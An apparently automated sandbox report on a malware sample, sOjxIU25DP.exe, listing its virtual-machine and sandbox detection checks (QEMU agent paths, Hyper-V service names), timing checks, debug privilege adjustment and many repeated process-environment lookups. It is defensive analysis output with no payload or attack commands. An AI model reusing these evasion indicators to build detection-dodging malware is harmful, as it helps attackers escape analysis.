Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: sOjxIU25DP.exe, 00000000.00000002.3280514543.0000000003270000.00000004.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374204039.0000000004B40000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Windows\explorer.exe TID: 424	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 424	Thread sleep time: -104000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 8908	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe TID: 8908	Thread sleep time: -256000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\systray.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 2_2_34CC1763 rdtsc

2_2_34CC1763

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 876			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 866			Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

API coverage: 1.4 %

Source: C:\Windows\SysWOW64\systray.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_004059F0 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	0_2_004059F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_0040659C FindFirstFileA,FindClose,	0_2_0040659C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 0_2_004027A1 FindFirstFileA,	0_2_004027A1

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	API call chain: ExitProcess graph end node			graph_0-4203
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	API call chain: ExitProcess graph end node			graph_0-4384

Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049D2000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049E9000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000003.3226248680.00000000049E9000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049B4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sOjxIU25DP.exe, 00000000.00000002.3280514543.0000000003270000.00000004.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374204039.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWow
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: sOjxIU25DP.exe, 00000000.00000002.3342918086.0000000008019000.00000004.00000800.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: sOjxIU25DP.exe, 00000002.00000002.3374662466.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

0_2_6F621A98

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 2_2_34CC1763 rdtsc

2_2_34CC1763

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA14C9 mov eax, dword ptr fs:[00000030h]	2_2_34CA14C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA14C9 mov eax, dword ptr fs:[00000030h]	2_2_34CA14C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA14C9 mov eax, dword ptr fs:[00000030h]	2_2_34CA14C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA14C9 mov eax, dword ptr fs:[00000030h]	2_2_34CA14C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA14C9 mov eax, dword ptr fs:[00000030h]	2_2_34CA14C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF4D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF4D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA44D1 mov eax, dword ptr fs:[00000030h]	2_2_34CA44D1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA44D1 mov eax, dword ptr fs:[00000030h]	2_2_34CA44D1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBE4EF mov eax, dword ptr fs:[00000030h]	2_2_34CBE4EF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBE4EF mov eax, dword ptr fs:[00000030h]	2_2_34CBE4EF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB54E0 mov eax, dword ptr fs:[00000030h]	2_2_34CB54E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F4FD mov eax, dword ptr fs:[00000030h]	2_2_34D3F4FD
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA94FA mov eax, dword ptr fs:[00000030h]	2_2_34CA94FA
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C864F0 mov eax, dword ptr fs:[00000030h]	2_2_34C864F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA4F0 mov eax, dword ptr fs:[00000030h]	2_2_34CBA4F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA4F0 mov eax, dword ptr fs:[00000030h]	2_2_34CBA4F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0C490 mov eax, dword ptr fs:[00000030h]	2_2_34D0C490
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB648A mov eax, dword ptr fs:[00000030h]	2_2_34CB648A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB648A mov eax, dword ptr fs:[00000030h]	2_2_34CB648A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB648A mov eax, dword ptr fs:[00000030h]	2_2_34CB648A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C80485 mov ecx, dword ptr fs:[00000030h]	2_2_34C80485
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBB490 mov eax, dword ptr fs:[00000030h]	2_2_34CBB490
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBB490 mov eax, dword ptr fs:[00000030h]	2_2_34CBB490
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB44A8 mov eax, dword ptr fs:[00000030h]	2_2_34CB44A8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C824A2 mov eax, dword ptr fs:[00000030h]	2_2_34C824A2
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C824A2 mov ecx, dword ptr fs:[00000030h]	2_2_34C824A2
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0D4A0 mov ecx, dword ptr fs:[00000030h]	2_2_34D0D4A0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0D4A0 mov eax, dword ptr fs:[00000030h]	2_2_34D0D4A0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0D4A0 mov eax, dword ptr fs:[00000030h]	2_2_34D0D4A0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBE4BC mov eax, dword ptr fs:[00000030h]	2_2_34CBE4BC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445 mov eax, dword ptr fs:[00000030h]	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445 mov eax, dword ptr fs:[00000030h]	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445 mov eax, dword ptr fs:[00000030h]	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445 mov eax, dword ptr fs:[00000030h]	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445 mov eax, dword ptr fs:[00000030h]	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90445 mov eax, dword ptr fs:[00000030h]	2_2_34C90445
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE45E mov eax, dword ptr fs:[00000030h]	2_2_34CAE45E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE45E mov eax, dword ptr fs:[00000030h]	2_2_34CAE45E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE45E mov eax, dword ptr fs:[00000030h]	2_2_34CAE45E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE45E mov eax, dword ptr fs:[00000030h]	2_2_34CAE45E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE45E mov eax, dword ptr fs:[00000030h]	2_2_34CAE45E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBD450 mov eax, dword ptr fs:[00000030h]	2_2_34CBD450
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBD450 mov eax, dword ptr fs:[00000030h]	2_2_34CBD450
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D454 mov eax, dword ptr fs:[00000030h]	2_2_34C8D454
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D454 mov eax, dword ptr fs:[00000030h]	2_2_34C8D454
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D454 mov eax, dword ptr fs:[00000030h]	2_2_34C8D454
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D454 mov eax, dword ptr fs:[00000030h]	2_2_34C8D454
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D454 mov eax, dword ptr fs:[00000030h]	2_2_34C8D454
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D454 mov eax, dword ptr fs:[00000030h]	2_2_34C8D454
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F478 mov eax, dword ptr fs:[00000030h]	2_2_34D3F478
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4A464 mov eax, dword ptr fs:[00000030h]	2_2_34D4A464
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C88470 mov eax, dword ptr fs:[00000030h]	2_2_34C88470
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C88470 mov eax, dword ptr fs:[00000030h]	2_2_34C88470
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7640D mov eax, dword ptr fs:[00000030h]	2_2_34C7640D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D16400 mov eax, dword ptr fs:[00000030h]	2_2_34D16400
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D16400 mov eax, dword ptr fs:[00000030h]	2_2_34D16400
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F409 mov eax, dword ptr fs:[00000030h]	2_2_34D3F409
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B420 mov eax, dword ptr fs:[00000030h]	2_2_34C7B420
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB7425 mov eax, dword ptr fs:[00000030h]	2_2_34CB7425
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB7425 mov ecx, dword ptr fs:[00000030h]	2_2_34CB7425
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D09429 mov eax, dword ptr fs:[00000030h]	2_2_34D09429
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0F42F mov eax, dword ptr fs:[00000030h]	2_2_34D0F42F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0F42F mov eax, dword ptr fs:[00000030h]	2_2_34D0F42F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0F42F mov eax, dword ptr fs:[00000030h]	2_2_34D0F42F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0F42F mov eax, dword ptr fs:[00000030h]	2_2_34D0F42F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0F42F mov eax, dword ptr fs:[00000030h]	2_2_34D0F42F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F5C7 mov eax, dword ptr fs:[00000030h]	2_2_34C7F5C7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB65D0 mov eax, dword ptr fs:[00000030h]	2_2_34CB65D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB15EF mov eax, dword ptr fs:[00000030h]	2_2_34CB15EF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8B5E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8B5E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8B5E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8B5E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8B5E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8B5E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8B5E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8B5E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8B5E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8B5E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8B5E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8B5E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0C5FC mov eax, dword ptr fs:[00000030h]	2_2_34D0C5FC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA5E7 mov ebx, dword ptr fs:[00000030h]	2_2_34CBA5E7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA5E7 mov eax, dword ptr fs:[00000030h]	2_2_34CBA5E7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0C592 mov eax, dword ptr fs:[00000030h]	2_2_34D0C592
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE588 mov eax, dword ptr fs:[00000030h]	2_2_34CFE588
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE588 mov eax, dword ptr fs:[00000030h]	2_2_34CFE588
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA580 mov eax, dword ptr fs:[00000030h]	2_2_34CBA580
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA580 mov eax, dword ptr fs:[00000030h]	2_2_34CBA580
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB9580 mov eax, dword ptr fs:[00000030h]	2_2_34CB9580
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB9580 mov eax, dword ptr fs:[00000030h]	2_2_34CB9580
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F582 mov eax, dword ptr fs:[00000030h]	2_2_34D3F582
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB2594 mov eax, dword ptr fs:[00000030h]	2_2_34CB2594
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C845B0 mov eax, dword ptr fs:[00000030h]	2_2_34C845B0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C845B0 mov eax, dword ptr fs:[00000030h]	2_2_34C845B0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D085AA mov eax, dword ptr fs:[00000030h]	2_2_34D085AA
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8254C mov eax, dword ptr fs:[00000030h]	2_2_34C8254C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4A553 mov eax, dword ptr fs:[00000030h]	2_2_34D4A553
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B55F mov eax, dword ptr fs:[00000030h]	2_2_34D5B55F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B55F mov eax, dword ptr fs:[00000030h]	2_2_34D5B55F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB6540 mov eax, dword ptr fs:[00000030h]	2_2_34CB6540
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB8540 mov eax, dword ptr fs:[00000030h]	2_2_34CB8540
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9E547 mov eax, dword ptr fs:[00000030h]	2_2_34C9E547
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9C560 mov eax, dword ptr fs:[00000030h]	2_2_34C9C560
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B502 mov eax, dword ptr fs:[00000030h]	2_2_34C7B502
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBC50D mov eax, dword ptr fs:[00000030h]	2_2_34CBC50D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBC50D mov eax, dword ptr fs:[00000030h]	2_2_34CBC50D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C82500 mov eax, dword ptr fs:[00000030h]	2_2_34C82500
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0C51D mov eax, dword ptr fs:[00000030h]	2_2_34D0C51D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE507 mov eax, dword ptr fs:[00000030h]	2_2_34CAE507
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA1514 mov eax, dword ptr fs:[00000030h]	2_2_34CA1514
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA1514 mov eax, dword ptr fs:[00000030h]	2_2_34CA1514
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA1514 mov eax, dword ptr fs:[00000030h]	2_2_34CA1514
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA1514 mov eax, dword ptr fs:[00000030h]	2_2_34CA1514
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA1514 mov eax, dword ptr fs:[00000030h]	2_2_34CA1514
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA1514 mov eax, dword ptr fs:[00000030h]	2_2_34CA1514
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9252B mov eax, dword ptr fs:[00000030h]	2_2_34C9252B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBF523 mov eax, dword ptr fs:[00000030h]	2_2_34CBF523
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB1527 mov eax, dword ptr fs:[00000030h]	2_2_34CB1527
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2539 mov eax, dword ptr fs:[00000030h]	2_2_34CC2539
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7753F mov eax, dword ptr fs:[00000030h]	2_2_34C7753F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7753F mov eax, dword ptr fs:[00000030h]	2_2_34C7753F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7753F mov eax, dword ptr fs:[00000030h]	2_2_34C7753F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C83536 mov eax, dword ptr fs:[00000030h]	2_2_34C83536
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C83536 mov eax, dword ptr fs:[00000030h]	2_2_34C83536
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C806CF mov eax, dword ptr fs:[00000030h]	2_2_34C806CF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4A6C0 mov eax, dword ptr fs:[00000030h]	2_2_34D4A6C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAD6D0 mov eax, dword ptr fs:[00000030h]	2_2_34CAD6D0
